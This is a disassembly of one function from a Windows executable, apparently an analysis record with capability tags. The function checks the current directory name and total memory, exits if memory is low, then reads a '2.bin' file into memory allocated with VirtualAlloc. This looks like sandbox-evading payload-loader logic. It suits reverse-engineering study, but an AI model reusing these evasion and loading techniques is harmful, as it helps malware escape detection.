Function at 0x407020
Capabilities:
Get memory capacity
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x1a0
mov esi, esp
mov dword [esi + 0x188], ebp
stmxcsr dword [esi + 0x70]
or dword [esi + 0x70], 0x8040
ldmxcsr dword [esi + 0x70]
mov dword [esi + 0x18c], esp
mov dword [esi + 0x198], 0xffffffff
lea eax, [esi + 0x190]
mov dword [esi + 0x194], 0x408860
mov ecx, dword fs:[0]
mov dword [esi + 0x190], ecx
mov dword fs:[0], eax
push 0x40f713
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40710c
mov edi, eax
push 0x40f79e
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407143
lea ebx, [esi + 0x70]
push ebx
push 0x100
call eax
test eax, eax
je 0x407152
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xorpd xmm0, xmm0
movapd xmmword [esi + 0x40], xmm0
xorpd xmm0, xmm0
movsd qword [esi + 0x50], xmm0
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
test eax, eax
js 0x4083e7
mov edi, eax
cmp eax, 0xf
ja 0x4072e6
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], 0xf
lea eax, [esi + 0x40]
push edi
push ebx
push eax
call fcn.004089e0
add esp, 0xc
mov byte [esi + edi + 0x40], 0
jmp 0x4071a5
mov edi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, edi
mov edx, str.Failed_to_load_kernel32.dll
call section..text
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, edi
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
jmp 0x40718e
mov ebx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, ebx
mov edx, str.Failed_to_get_address_of_GetCurrentDirectoryA
jmp 0x40715f
mov ebx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, ebx
mov edx, str.Failed_to_get_current_directory
call section..text
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
add ecx, ebx
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, ebx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xorpd xmm0, xmm0
movapd xmmword [esi + 0x40], xmm0
mov dword [esi + 0x50], 0
mov dword [esi + 0x54], 0xf
mov dword [esi + 0x2c], 0
mov dword [esi + 0x198], 0
push 1
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Init_bool_
add esp, 4
mov dword [esi + 0x3c], eax
lea ecx, [esi + 0x5c]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov eax, dword [0x413f44]
mov dword [esi + 4], eax
mov edi, dword [sym.imp.MSVCP140.dll_class_std::locale::id_std::collate_char_::id]
mov edx, dword [edi]
test edx, edx
jne 0x407209
lea ecx, [esi + 0x70]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
cmp dword [edi], 0
jne 0x4071fe
mov eax, dword [sym.imp.MSVCP140.dll_int_std::locale::id::_Id_cnt]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov dword [edi], ecx
lea ecx, [esi + 0x70]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov edx, dword [edi]
mov eax, dword [esi + 0x3c]
cmp dword [eax + 0xc], edx
jbe 0x40721f
mov ecx, dword [eax + 8]
mov ebx, dword [ecx + edx*4]
test ebx, ebx
jne 0x40748f
cmp byte [eax + 0x14], 0
je 0x40724d
mov dword [esi + 8], edx
mov dword [esi + 0x198], 0xb
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_
mov ecx, dword [esi + 8]
cmp dword [eax + 0xc], ecx
jbe 0x40724d
mov eax, dword [eax + 8]
mov ebx, dword [eax + ecx*4]
test ebx, ebx
jne 0x40748f
mov eax, dword [esi + 4]
mov ebx, eax
test eax, eax
jne 0x40748f
mov dword [esi + 0x198], 0xb
push 0x10
call fcn.0040b030
add esp, 4
mov edi, eax
mov ebx, dword [esi + 0x3c]
test ebx, ebx
mov dword [esi + 4], eax
je 0x407317
mov eax, dword [ebx + 0x18]
add ebx, 0x1c
test eax, eax
cmovne ebx, eax
xorpd xmm0, xmm0
movsd qword [esi + 0x20], xmm0
xorpd xmm0, xmm0
movapd xmmword [esi + 0x10], xmm0
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
test eax, eax
js 0x4083f6
cmp eax, 0x10
jae 0x407336
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], 0xf
lea edi, [esi + 0x10]
push eax
push ebx
push edi
mov ebx, eax
call fcn.004089e0
add esp, 0xc
mov byte [esi + ebx + 0x10], 0
cmp dword [esi + 0x24], 0x10
jb 0x4073e0
mov edi, dword [esi + 0x10]
jmp 0x4073e0
mov eax, edi
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [esi + 4], ecx
jb 0x407377
lea eax, [ecx + 0x24]
push eax
call fcn.0040b030
add esp, 4
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x407385
xorpd xmm0, xmm0
movapd xmmword [esi + 0x10], xmm0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0xf
lea edi, [esi + 0x10]
jmp 0x4073e0
mov dword [esi + 8], ebx
mov dword [esi + 0xc], eax
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [esi + 0x28], ecx
jb 0x4073a8
lea eax, [ecx + 0x24]
mov dword [esi + 0x198], 0xd
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x4073c0
lea eax, [ecx + 1]
push eax
call fcn.0040b030
add esp, 4
mov ebx, eax
mov dword [esi + 0x40], ebx
mov dword [esi + 0x50], edi
mov eax, dword [esi + 4]
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x70]
push eax
push ebx
call fcn.004089e0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x4071a5
lea eax, [ecx + 1]
mov dword [esi + 0x198], 0xd
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
mov dword [esi + 0x10], edi
mov ebx, dword [esi + 0xc]
mov dword [esi + 0x20], ebx
mov eax, dword [esi + 0x28]
mov dword [esi + 0x24], eax
push ebx
push dword [esi + 8]
push edi
call fcn.004089e0
add esp, 0xc
mov byte [edi + ebx], 0
mov dword [esi + 0x198], 0xe
lea ecx, [esi + 0x70]
push edi
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Locinfo::constructor_char_const__]
mov edi, dword [esi + 4]
mov ecx, edi
push 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::locale::facet::constructor_unsigned_int_]
mov dword [edi], vtable.std::collate_char_.0
mov dword [esi + 0x198], 0xf
lea eax, [esi + 0x64]
lea ecx, [esi + 0x70]
push eax
call dword [sym.imp.MSVCP140.dll_public:_struct__Collvec___thiscall_std::_Locinfo::_Getcoll_void_]
movsd xmm0, qword [esi + 0x64]
mov ebx, dword [esi + 4]
movsd qword [ebx + 8], xmm0
lea ecx, [esi + 0x70]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Locinfo::destructor_void_]
mov eax, dword [esi + 0x24]
cmp eax, 0x10
jb 0x40746c
mov ecx, dword [esi + 0x10]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x407462
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040b065
add esp, 8
mov dword [esi + 0x198], 0xc
push ebx
call fcn.0040afac
add esp, 4
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 4]
mov dword [0x413f44], ebx
lea edi, [esi + 0x30]
lea ecx, [esi + 0x5c]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov dword [edi], ebx
lea ecx, [esi + 0x10]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov ebx, dword [0x413f48]
mov dword [esi + 0x64], ebx
mov edi, dword [sym.imp.MSVCP140.dll_class_std::locale::id_std::ctype_char_::id]
mov edx, dword [edi]
test edx, edx
jne 0x4074e4
lea ecx, [esi + 0x70]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
cmp dword [edi], 0
jne 0x4074d9
mov eax, dword [sym.imp.MSVCP140.dll_int_std::locale::id::_Id_cnt]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov dword [edi], ecx
lea ecx, [esi + 0x70]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov edx, dword [edi]
mov eax, dword [esi + 0x3c]
cmp dword [eax + 0xc], edx
jbe 0x4074fa
mov ecx, dword [eax + 8]
mov edi, dword [ecx + edx*4]
test edi, edi
jne 0x40757e
cmp byte [eax + 0x14], 0
je 0x40752a
mov dword [esi + 8], edx
mov dword [esi + 4], ebx
mov dword [esi + 0x198], 9
call sub.MSVCP140.dll_private:_static_class_std::locale::_Locimp____cdecl_std::locale::_Getgloballocale_void_
mov ecx, dword [esi + 8]
cmp dword [eax + 0xc], ecx
mov ebx, dword [esi + 4]
jbe 0x40752a
mov eax, dword [eax + 8]
mov edi, dword [eax + ecx*4]
test edi, edi
jne 0x40757e
mov edi, ebx
test ebx, ebx
jne 0x40757e
lea eax, [esi + 0x38]
mov dword [esi + 0x198], 9
lea ecx, [esi + 0x64]
push eax
push ecx
call dword [sym.imp.MSVCP140.dll_public:_static_unsigned_int___cdecl_std::ctype_char_::_Getcat_class_std::locale::facet_const____class_std::locale_const__]
add esp, 8
cmp eax, 0xffffffff
je 0x4083ec
mov eax, dword [esi + 0x64]
mov dword [esi + 0x198], 0xa
mov dword [esi + 4], eax
push eax
call fcn.0040afac
add esp, 4
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi + 0x64]
mov dword [0x413f48], edi
lea ecx, [esi + 0x10]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
mov dword [esi + 0x34], edi
mov dword [esi + 0x70], str.C:_A_Za_z0_9__
mov dword [esi + 0x74], str.C:_A_Za_z0_9__
mov dword [esi + 0x78], 0x40f7c5
xorpd xmm0, xmm0
movupd xmmword [esi + 0x7c], xmm0
xorpd xmm0, xmm0
movsd qword [esi + 0x8c], xmm0
mov dword [esi + 0x198], 7
push 0x24
call fcn.0040b030
add esp, 4
movss xmm0, dword [0x40e140]
movupd xmmword [eax + 4], xmm0
mov dword [eax], vtable.std::_Root_node.0
xorpd xmm0, xmm0
movupd xmmword [eax + 0x14], xmm0
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], 1
lea eax, [esi + 0x30]
mov dword [esi + 0xa0], eax
mov dword [esi + 0xa4], 0x100
mov dword [esi + 0xa8], 4
mov dword [esi + 0xac], eax
mov dword [esi + 0xb0], 1
mov dword [esi + 0xc0], 0x8775dfb
lea ecx, [esi + 0x70]
call fcn.00401510
mov dword [esi + 0x198], 6
push 0x18
call fcn.0040b030
add esp, 4
mov dword [eax + 4], 0xd
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax], vtable.std::_Node_capture.0
mov dword [eax + 0x14], 0
mov edx, dword [esi + 0x98]
mov dword [eax + 0x10], edx
mov ecx, dword [edx + 0xc]
test ecx, ecx
je 0x407685
mov dword [eax + 0xc], ecx
mov dword [ecx + 0x10], eax
mov dword [edx + 0xc], eax
mov dword [esi + 0x98], eax
lea ecx, [esi + 0x70]
mov dword [esi + 4], eax
call fcn.004016e0
mov ecx, dword [esi + 4]
mov eax, dword [esi + 0x70]
cmp eax, dword [esi + 0x78]
jne 0x4082b3
mov eax, dword [ecx + 4]
cmp eax, 8
je 0x4076c3
cmp eax, 0xa
je 0x4076ba
cmp eax, 0xb
jne 0x4076cc
mov dword [esi + 8], 0xc
jmp 0x4076d3
mov dword [esi + 8], 9
jmp 0x4076d3
mov dword [esi + 8], 0xe
push 0x18
call fcn.0040b030
add esp, 4
mov ecx, dword [esi + 4]
mov edx, dword [esi + 8]
mov dword [eax + 4], edx
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax], vtable.std::_Node_end_group.0
mov dword [eax + 0x14], ecx
mov ecx, dword [esi + 0x98]
mov dword [eax + 0x10], ecx
mov edx, dword [ecx + 0xc]
test edx, edx
je 0x407713
mov dword [eax + 0xc], edx
mov dword [edx + 0x10], eax
mov dword [esi + 8], edx
mov dword [ecx + 0xc], eax
mov dword [esi + 0x98], eax
push 0x14
mov dword [esi + 4], eax
call fcn.0040b030
mov ecx, dword [esi + 4]
add esp, 4
mov dword [eax], vtable.std::_Node_base.0
mov dword [eax + 4], 0x15
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], ecx
mov edx, dword [esi + 8]
test edx, edx
je 0x40775a
mov dword [eax + 0xc], edx
mov dword [edx + 0x10], eax
mov dword [ecx + 0xc], eax
mov dword [esi + 0x98], eax
lea eax, [esi + 0x94]
mov edi, dword [eax]
mov eax, dword [esi + 0xb0]
mov dword [edi + 0x14], eax
mov eax, dword [esi + 0x7c]
inc eax
mov dword [edi + 0x1c], eax
mov ecx, edi
xor edx, edx
push 0
call fcn.004019a0
add esp, 4
lock inc dword [edi + 0x20]
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x4077c6
lock dec dword [eax + 0x20]
jne 0x4077c6
mov ecx, dword [esi + 0x2c]
test ecx, ecx
je 0x4077c6
nop word cs:[eax + eax]
mov eax, dword [ecx]
mov ebx, dword [ecx + 0xc]
mov dword [ecx + 0xc], 0
push 1
call dword [eax]
mov ecx, ebx
test ebx, ebx
jne 0x4077b0
mov dword [esi + 0x2c], edi
mov ecx, dword [esi + 0x84]
test ecx, ecx
je 0x407805
mov eax, dword [esi + 0x8c]
sub eax, ecx
cmp eax, 0x1000
jb 0x4077f8
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040b065
add esp, 8
mov edi, dword [esi + 0x2c]
test edi, edi
je 0x407814
cmp dword [esi + 0x54], 0x10
jb 0x40781b
mov eax, dword [esi + 0x40]
jmp 0x40781e
mov bl, 1
jmp 0x407b76
lea eax, [esi + 0x40]
mov ecx, dword [esi + 0x50]
add ecx, eax
mov ebx, dword [edi + 0x14]
xorpd xmm0, xmm0
mov edx, dword [edi + 0x1c]
movupd xmmword [esi + 0x80], xmm0
movupd xmmword [esi + 0x74], xmm0
movupd xmmword [esi + 0x94], xmm0
movupd xmmword [esi + 0xa4], xmm0
xorpd xmm0, xmm0
movsd qword [esi + 0xb4], xmm0
mov dword [esi + 0xc0], ecx
mov dword [esi + 0xc4], eax
mov dword [esi + 0xc8], edi
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], 0x10
mov byte [esi + 0xd4], 0
mov dword [esi + 0xd8], edx
mov byte [esi + 0xdc], 0
lea ecx, [esi + 0x30]
mov dword [esi + 0xe0], ecx
mov ecx, dword [edi + 0x18]
test ecx, ecx
je 0x407987
cmp ecx, 0x20000000
jae 0x4083d8
lea eax, [ecx*8]
cmp ecx, 0x200
mov dword [esi + 8], ecx
mov dword [esi + 4], eax
jb 0x4078f0
mov dword [esi + 0x198], 4
cmp ecx, 0x1ffffffc
jae 0x4083f1
add eax, 0x23
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x407905
mov dword [esi + 0x198], 4
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
push dword [esi + 4]
push 0
push edi
call fcn.00408930
add esp, 0xc
mov eax, dword [esi + 0xb4]
lea ecx, [esi + 0xb0]
mov ebx, dword [ecx]
sub eax, ebx
push eax
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
test ebx, ebx
je 0x407961
mov eax, dword [esi + 0xb8]
sub eax, ebx
cmp eax, 0x1000
jb 0x407957
mov ecx, dword [ebx - 4]
add ebx, 0xfffffffc
sub ebx, ecx
cmp ebx, 0x20
jae 0x4082ad
add eax, 0x23
mov ebx, ecx
push eax
push ebx
call fcn.0040b065
add esp, 8
lea eax, [esi + 0xb0]
mov dword [eax], edi
mov eax, dword [esi + 8]
lea eax, [edi + eax*8]
mov dword [esi + 0xb4], eax
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xd8]
lea ecx, [esi + 0x74]
mov dword [esi + 0xbc], eax
mov dword [esi + 0x70], eax
mov dword [esi + 0x198], 3
call fcn.00401bb0
mov ecx, dword [esi + 0x84]
mov edi, dword [esi + 0x88]
mov eax, edi
sub eax, ecx
mov dword [esi + 4], eax
sar eax, 3
mov edx, dword [esi + 0xd8]
mov ebx, edx
sub ebx, eax
jae 0x4079d2
lea eax, [ecx + edx*8]
mov dword [esi + 0x88], eax
jmp 0x407b05
jbe 0x407b05
mov eax, dword [esi + 0x8c]
sub eax, ecx
sar eax, 3
cmp eax, edx
jae 0x407a58
cmp edx, 0x20000000
jae 0x408405
mov edi, eax
shr edi, 1
mov ecx, 0x1fffffff
sub ecx, edi
add edi, eax
cmp edi, edx
cmovbe edi, edx
cmp eax, ecx
mov eax, 0x1fffffff
cmova edi, eax
cmp edi, 0x20000000
jae 0x40840a
lea eax, [edi*8]
cmp edi, 0x200
mov dword [esi + 0xc], edx
mov dword [esi + 0x28], edi
mov dword [esi + 8], ebx
jb 0x407a73
cmp edi, 0x1ffffffc
jae 0x40840f
add eax, 0x23
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x407a7e
lea eax, [ebx*8]
push eax
push 0
push edi
call fcn.00408930
add esp, 0xc
lea eax, [edi + ebx*8]
jmp 0x4079c7
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
mov ecx, dword [esi + 4]
add ecx, edi
mov eax, dword [esi + 8]
shl eax, 3
push eax
push 0
push ecx
call fcn.00408930
add esp, 0xc
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x88]
sub ecx, eax
push ecx
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov ecx, dword [esi + 0x84]
test ecx, ecx
je 0x407ae7
mov eax, dword [esi + 0x8c]
sub eax, ecx
cmp eax, 0x1000
jb 0x407add
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x23
mov ecx, edx
push eax
push ecx
call fcn.0040b065
add esp, 8
mov dword [esi + 0x84], edi
mov eax, dword [esi + 0xc]
lea eax, [edi + eax*8]
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x28]
lea eax, [edi + eax*8]
mov dword [esi + 0x8c], eax
mov byte [esi + 0xe4], 1
mov dword [esi + 0xe8], 0x989680
mov dword [esi + 0xec], 0x3e8
mov word [esi + 0xd4], 0
mov edx, dword [esi + 0xc8]
lea ecx, [esi + 0x70]
call fcn.00402570
mov ebx, eax
lea ecx, [esi + 0x70]
call fcn.00403020
xor bl, 1
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x407b76
lock dec dword [eax + 0x20]
jne 0x407b76
mov ecx, dword [esi + 0x2c]
test ecx, ecx
je 0x407b76
nop dword [eax + eax]
mov eax, dword [ecx]
mov edi, dword [ecx + 0xc]
mov dword [ecx + 0xc], 0
push 1
call dword [eax]
mov ecx, edi
test edi, edi
jne 0x407b60
mov dword [esi + 0x2c], 0
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x407b95
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x407b95
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [esi + 0x54]
cmp eax, 0x10
jb 0x407bcd
mov ecx, dword [esi + 0x40]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x407bc3
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040b065
add esp, 8
test bl, bl
je 0x4082bd
mov dword [esi + 0x70], 0x40
lea eax, [esi + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x407c3c
movupd xmm0, xmmword [esi + 0x78]
unpcklps xmm0, xmmword [0x40e100]
subpd xmm0, xmmword [0x40e110]
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
mulsd xmm1, qword [0x40e120]
movsd xmm0, qword [0x40e128]
ucomisd xmm0, xmm1
jbe 0x407c7b
push 0x30
push 0x40f7d6
push 0x40f890
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [esi + 0x198], 0xffffffff
mov edi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov ecx, edi
mov edx, str.
call section..text
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
push 0xa
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movsx eax, al
mov ecx, edi
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
xorpd xmm0, xmm0
movsd qword [esi + 0x80], xmm0
xorpd xmm0, xmm0
movapd xmmword [esi + 0x70], xmm0
mov dword [esi + 0x198], 0x10
push 0x20
call fcn.0040b030
add esp, 4
mov dword [esi + 0x70], eax
mov dword [esi + 0x80], 8
mov dword [esi + 0x84], 0xf
movupd xmm0, xmmword [0x40f7e4]
movupd xmmword [eax], xmm0
mov word [eax + 0x10], 0
mov dword [esi + 0x198], 0x16
lea ecx, [esi + 0x40]
lea edx, [esi + 0x70]
call fcn.00406db0
mov eax, dword [esi + 0x84]
cmp eax, 8
lea ebx, [esi + 0x10]
jb 0x407d26
mov ecx, dword [esi + 0x70]
lea edi, [eax*2 + 2]
cmp edi, 0x1000
jb 0x407d1c
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, eax
add eax, 0x25
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040b065
add esp, 8
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x44]
xorpd xmm0, xmm0
movapd xmmword [esi + 0x10], xmm0
xorpd xmm0, xmm0
movsd qword [esi + 0x20], xmm0
cmp ecx, eax
je 0x407d99
sub eax, ecx
mov dword [esi + 0x24], 0xf
js 0x4083ba
mov edi, ebx
cmp eax, 0x10
jb 0x407dd6
mov dword [esi + 8], ecx
mov dword [esi + 4], eax
or eax, 0xf
cmp eax, 0x17
mov ecx, 0x16
cmovae ecx, eax
cmp eax, 0xfff
mov dword [esi + 0xc], ecx
jb 0x407daf
lea eax, [ecx + 0x24]
mov dword [esi + 0x198], 0x11
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
add edi, 0x23
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x407dc7
mov dword [esi + 0x24], 0xf
mov ecx, 0xffffffff
xor eax, eax
lea ebx, [esi + 0x10]
jmp 0x407ed6
lea eax, [ecx + 1]
mov dword [esi + 0x198], 0x11
push eax
call fcn.0040b030
add esp, 4
mov edi, eax
mov dword [esi + 0x10], edi
mov eax, dword [esi + 0xc]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 4]
mov ecx, dword [esi + 8]
push eax
push ecx
push edi
mov ebx, eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov dword [esi + 0x20], ebx
mov byte [edi + ebx], 0
lea ebx, [esi + 0x10]
mov eax, dword [esi + 0x20]
cmp dword [esi + 0x24], 0x10
jb 0x407df9
mov ebx, dword [esi + 0x10]
mov ecx, 0xffffffff
test eax, eax
je 0x407ec4
xorpd xmm0, xmm0
movapd xmmword [esi + 0x90], xmm0
movapd xmmword [esi + 0x70], xmm0
movapd xmmword [esi + 0x160], xmm0
movapd xmmword [esi + 0x150], xmm0
movapd xmmword [esi + 0x140], xmm0
movapd xmmword [esi + 0x130], xmm0
movapd xmmword [esi + 0x120], xmm0
movapd xmmword [esi + 0x110], xmm0
movapd xmmword [esi + 0x100], xmm0
movapd xmmword [esi + 0xf0], xmm0
movapd xmmword [esi + 0xe0], xmm0
movapd xmmword [esi + 0xd0], xmm0
movapd xmmword [esi + 0xc0], xmm0
movapd xmmword [esi + 0xb0], xmm0
movapd xmmword [esi + 0xa0], xmm0
movapd xmmword [esi + 0x80], xmm0
mov byte [esi + 0x90], 1
mov byte [esi + 0x7d], 1
mov word [esi + 0x79], 0x101
movzx edx, byte [ebx + eax - 1]
cmp byte [esi + edx + 0x70], 0
je 0x407ec8
mov edx, eax
dec edx
je 0x407ed6
mov edx, eax
nop dword [eax + eax]
movzx edi, byte [ebx + edx - 2]
cmp byte [esi + edi + 0x70], 0
je 0x407ece
dec edx
cmp edx, 1
jne 0x407eb0
jmp 0x407ed6
xor eax, eax
jmp 0x407ed6
lea ecx, [ebx + eax]
dec ecx
jmp 0x407ed4
lea ecx, [ebx + edx]
add ecx, 0xfffffffe
sub ecx, ebx
inc ecx
cmp eax, ecx
jb 0x408303
mov dword [esi + 0x20], ecx
mov byte [ebx + ecx], 0
mov dword [esi + 0x80], 5
mov dword [esi + 0x84], 7
movapd xmm0, xmmword [str.2.bin]
movupd xmmword [esi + 0x70], xmm0
mov dword [esi + 0x198], 0x15
lea ecx, [esi + 0x2c]
lea edx, [esi + 0x70]
call fcn.00406db0
mov eax, dword [esi + 0x84]
cmp eax, 8
jb 0x407f5d
mov ecx, dword [esi + 0x70]
lea edi, [eax*2 + 2]
cmp edi, 0x1000
jb 0x407f53
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4082ad
add eax, eax
add eax, 0x25
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040b065
add esp, 8
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x30]
mov dword [esi + 0x64], 0
mov dword [esi + 0x68], 0
mov dword [esi + 0x6c], 0
sub ecx, eax
mov dword [esi + 8], eax
je 0x407fb8
js 0x4083c9
cmp ecx, 0x1000
mov dword [esi + 0x17c], ecx
jb 0x407fbe
lea eax, [ecx + 0x23]
mov dword [esi + 0x198], 0x13
push eax
call fcn.0040b030
add esp, 4
mov ecx, eax
add ecx, 0x23
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, ecx
jmp 0x407fd1
xor edi, edi
xor ebx, ebx
jmp 0x408025
mov dword [esi + 0x198], 0x13
push ecx
call fcn.0040b030
add esp, 4
mov dword [esi + 0x64], eax
mov ebx, dword [esi + 0x17c]
lea edi, [eax + ebx]
mov dword [esi + 0x6c], edi
push ebx
push 0
mov dword [esi + 4], eax
push eax
call fcn.00408930
add esp, 0xc
mov dword [esi + 0x28], edi
mov dword [esi + 0x68], edi
mov edi, dword [esi + 0x20]
cmp ebx, 1
mov eax, ebx
adc eax, 0
mov dword [esi + 0xc], eax
cmp ebx, 4
jae 0x4081b4
mov eax, dword [esi + 0xc]
mov ecx, eax
and ecx, 0x7ffffffc
cmp ecx, eax
jne 0x408274
mov edi, dword [esi + 4]
mov ebx, dword [esi + 0x28]
sub ebx, edi
push 4
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0xc], eax
test eax, eax
je 0x408312
